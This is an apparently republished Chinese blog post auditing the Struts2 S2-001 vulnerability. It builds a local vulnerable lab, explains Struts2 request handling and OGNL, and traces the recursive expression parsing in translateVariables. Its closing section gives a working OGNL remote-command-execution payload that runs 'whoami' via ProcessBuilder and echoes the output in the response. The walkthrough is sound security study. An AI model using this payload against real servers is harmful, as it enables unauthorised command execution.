Java安全代码审计-Struts2
Posted ly0n
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java安全代码审计-Struts2相关的知识,希望对你有一定的参考价值。
前言
Java感觉自己学了和没学差不多,第一次尝试去审计java方面的代码,平常课很多,课下抽时间看的,第一次环境搭建,搞了几个小时,然后第二天审计的时候刚开始自己的思路有点问题,导致第二天也并没有实质性的进展,总共耗时3天半,从头到尾的把漏洞走了一遍,学到了很多,也学习到关于Struts2的知识,感觉很不错的一次代码审计体验。如有错误或者没有解释清楚的地方还望大佬们见谅。
环境搭建
安装tomcat环境,不再演示
具体操作步骤
创建一个Maven项目并勾选Create from archetype,并且选择下面的webapp
项目名称自定义
然后一路next就可以了,等待构建完成。接下来我们分别添加并配置Maven的pom.xml
,这里我给出我的这个文件的内容
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Struts2</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<name>Struts2 Maven Webapp</name>
<!-- FIXME change it to the project's website -->
<url>http://www.example.com</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>
</dependencies>
<build>
<finalName>Struts2</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
<resources>
<resource>
<directory>main/java</directory>
<includes>
<include>**/*.xml</include>
</includes>
</resource>
</resources>
</build>
</project>
然后在idea的右上方
点击之后就可以看到
然后去配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
紧接着在main里面创建一个java的资源文件夹
接着创建package文件com.action,在pakeage里面创建一个LoginAction
文件内容
package demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
在webapp
目录下创建&修改两个文件——index.jsp
&welcome.jsp
index.jsp
<%--
Created by IntelliJ IDEA.
User: ly0n
Date: 10/26/21
Time: 8:09 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp
<%--
Created by IntelliJ IDEA.
User: ly0n
Date: 10/26/21
Time: 8:09 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
然后在main
文件夹下创建一个resources
文件夹,内部添加一个struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
创建完成build之后的文件目录
然后配置本地tomcat服务
要选择local
配置好之后点击deployment,添加一个artifacts
创建完毕后保存配置即可。然后运行
基础知识
Struts2 架构&请求处理流程
在该图中,一共给出了四种颜色的标识,其对应的意义如下。
- Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
- Struts Core(浅蓝色):Struts2的核心部分。
- Interceptors(浅绿色):Struts2的拦截器。
- User created(浅黄色):需要开发人员创建的部分。
图中的一些组件的作用如下:
- FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
- ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
- ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
- ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的
struts.xml
配置文件。 - struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
- ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
- Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
- Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
- Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
- Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
- Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。
了解了这些以后我们可以叙述一下是如何处理的一个http请求的:
- http请求经过一系列的过滤器后,到达最后一个过滤器FilterDispatcher,并将请求转发给ActionMapper
- ActionMapper判断这个请求是否需要处理,如果需要处理,FilterDispatcher就会去生成一个ActionProxy
- 此时http请求就到了ConfigurationManage,也就是struts.xml,调用哪一个action处理
- 通过运行拦截器1,2,3之后运行action,生成一个Result
- Result根据页面模板和标签库,生成要响应的内容。
- 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。
这就是完整的一个http请求的处理过程
OGNL表达式
OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式
OGNL三要素
OGNL具有三要素:表达式(expression)、根对象(root)和上下文对象(context)。
- 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
- 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
- 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;
关于OGNL详细了解文章地址
漏洞简介
通过我们刚刚总结的关于Struts2请求处理的过程,我们可以清楚的知道,经过过滤器FilterDispatcher将请求转发给ActionMapper被Struts2处理,然后生成一个ActionProxy,ActionProxy拿着http请求去ConfigurationManage。我们可以通过具体代码分析一下。
首先通过web.xml可以看到程序首先会调用org.apache.struts2.dispatcher.FilterDispatcher的dofilter。
会首先获得请求的HttpServletRequest,HttpServletResponse,ServletContext,最后调用dispatcher.serviceAction,跟进这个函数
这个dispatcher.serviceAction通过createContextMap方法将上面获取到的HttpServletRequest,HttpServletResponse,ServletContext写入extraContext中,然后通过ActionProxy实例化一个proxy代理,然后最后去掉用proxy.execute(),此时这个代理拿着http请求去加载拦截器,查看struts.xml
找到默认使用的拦截器栈。
这里我们需要注意的拦截器就是ParametersInterceptor。
这个拦截器会将客户端请求数据设置到值栈中也就是设置到valueStack,跟进到ParametersInterceptor
可以看到已经接收到了传入的用户名%{1+1}
处理完用户逻辑后会调用DefaultActionInvocation 的executeResult处理请求结果
单步调试跟进,会调用result.execute进行处理
省略一些跟进步骤,最后跟进到Servletdispatcherresult
继续调试
可以看到已经调用的三个栈
继续跟进多次调试后发现已经成功运行处结果,漏洞信息说明造成此次漏洞的是doEndTag,所以肯定是去调用了的,再来调试一次,这次一步一步来。这一次是定位在了这个地方
执行完这些后发现已经输出了2
显然还没有定位到doEndTag,要想end肯定首先要start,在org/apache/struts2/views/jsp/ComponentTagSupport.java找到doStartTag,下断点
定位到doStartTag,此时的调用栈信息
跟进doEndTag之后进入end方法
然后会到evaluateParams,跟进
看到已经变成了%{username},再继续跟进
看输出的结果,成功返回
最后百度别的师傅的复现笔记之后发现我有一点没有关注到,下面就跟着师傅的然后一步一步走
跟进findValue
toType为class java.lang.String 然后返回值的时候去调用了TextParseUtil.translateVariables,跟进
可以看到此时传入expression
变成了%{username},跟进返回值translateVariables,源码如下
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
此时的expression是username
进入while循环
通过两个while然后count的值会变为0因为第二个循环的时候到最后一个}
满足了else if
count就变为了0,跳过了return,进入下一个判断。
然后findValue会返回我们传入的payload
经过下面的判断之后会变为expression的值
然后再一次循环,此时的expression 就变成了%{1+1}
此次循环就会执行构造的OGNL表达式,可以看到最后执行的结果
原因就在于在translateVariables
中,递归解析了表达式,在处理完%{username}
后将username
的值直接取出,如果我们输出的值依旧满足OGNL表达式就继续在while
循环中解析,比如%{1+1}
,就可以解析执行。
利用poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
构造原理
- #a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(), 声明容器变量
- #b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),访问容器变量
- #f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),获取HttpServletResponse Context用于命令执行回显结果
- #f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()将命令执行结果写入context。
运行结果
参考链接
以上是关于Java安全代码审计-Struts2的主要内容,如果未能解决你的问题,请参考以下文章